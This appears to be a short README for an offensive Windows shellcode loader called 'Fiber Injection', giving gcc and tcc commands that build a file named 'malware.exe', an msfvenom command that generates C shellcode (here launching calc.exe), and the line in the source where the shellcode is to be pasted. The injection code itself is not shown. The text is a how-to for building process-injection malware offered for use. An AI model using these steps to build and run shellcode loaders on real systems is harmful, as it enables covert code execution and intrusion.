💉 Fiber Injection

To compile code use tcc-compiler or gcc:

# tcc
tcc code.c -o malware.exe -m32

#gcc
gcc code.c -m32 -o malware.exe 

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To generate shellcode use msfvenom:

msfvenom -p windows/exec CMD='calc.exe' -f c

And change this line to yours with shellcode:

7    unsigned char shellcode[] = ""; // shellcode here